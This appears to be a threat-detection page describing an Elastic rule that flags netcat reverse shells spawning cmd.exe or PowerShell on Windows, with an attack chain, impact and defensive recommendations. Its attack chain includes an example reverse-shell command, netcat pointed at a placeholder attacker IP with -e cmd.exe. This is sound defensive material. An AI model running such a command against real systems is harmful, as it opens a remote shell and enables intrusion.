Potential Command Shell via NetCat Execution
The rule identifies potential attempts to execute a reverse shell using the netcat utility to execute Windows commands via Cmd.exe or Powershell.
This detection rule, sourced from Elastic’s detection ruleset, aims to identify instances where the netcat utility might be used to establish a reverse shell on a Windows system. Netcat is a versatile networking tool, but its capability to redirect input/output makes it a potential risk when used maliciously. The rule focuses on detecting command-line arguments commonly used to create reverse shells, specifically those involving -e (execute) along with command interpreters like cmd.exe and powershell.exe. Defenders should be aware of legitimate uses of netcat in their environment to avoid false positives, such as during authorized penetration testing or network troubleshooting. However, the use of netcat to spawn command shells without proper authorization should be treated as a high-priority incident. This rule was last updated in May 2026.
Attack Chain
- An attacker gains initial access to a Windows system through an exploit or social engineering.
- The attacker uploads or stages the
netcatutility (nc.exeor similar) onto the compromised host, often intoC:\Windows\Temp\or a user-writable directory. - The attacker executes
netcatwith the-eoption, redirecting the command shell’s input/output to a network socket. For example,nc.exe <attacker_ip> <attacker_port> -e cmd.exe. - The
netcatprocess spawns a child process, eithercmd.exeorpowershell.exe, which becomes the reverse shell. - The attacker interacts with the reverse shell to perform reconnaissance, such as running
whoamioripconfig. - The attacker may then attempt to escalate privileges using exploits or credential harvesting techniques.
- The attacker uses the reverse shell to move laterally within the network, accessing sensitive data or systems.
- The attacker exfiltrates data or deploys ransomware, depending on their objectives.
Impact
A successful reverse shell can grant an attacker complete control over the compromised system. This can lead to data theft, system compromise, lateral movement within the network, and ultimately, significant financial or reputational damage. Depending on the attacker’s objective, the impact can range from data exfiltration to ransomware deployment, causing significant disruption to business operations.
Recommendation
- Deploy the provided Sigma rules to your SIEM and tune for your environment.
- Monitor process creations for
cmd.exeorpowershell.exewith a parent process executingnetcatand command-line arguments containing-eas defined in the Sigma rules. - Investigate any alerts generated by the Sigma rules, focusing on identifying the source of the
netcatexecutable and the actions taken by the spawned shell. - Implement application control policies to restrict the execution of unauthorized binaries, including
netcat, in your environment. - Review and restrict the use of
netcatin your environment, ensuring it’s only used for legitimate purposes and with proper authorization. - Monitor network connections for unexpected outbound connections from
cmd.exeorpowershell.exeto external IP addresses, as described in the Attack Chain.
Detection coverage 2
Detect Netcat Reverse Shell via Cmd
highDetects netcat usage to create reverse shell via cmd.exe
Detect Netcat Reverse Shell via Powershell
highDetects netcat usage to create reverse shell via powershell.exe
Detection queries are kept inside the platform. Get full rules →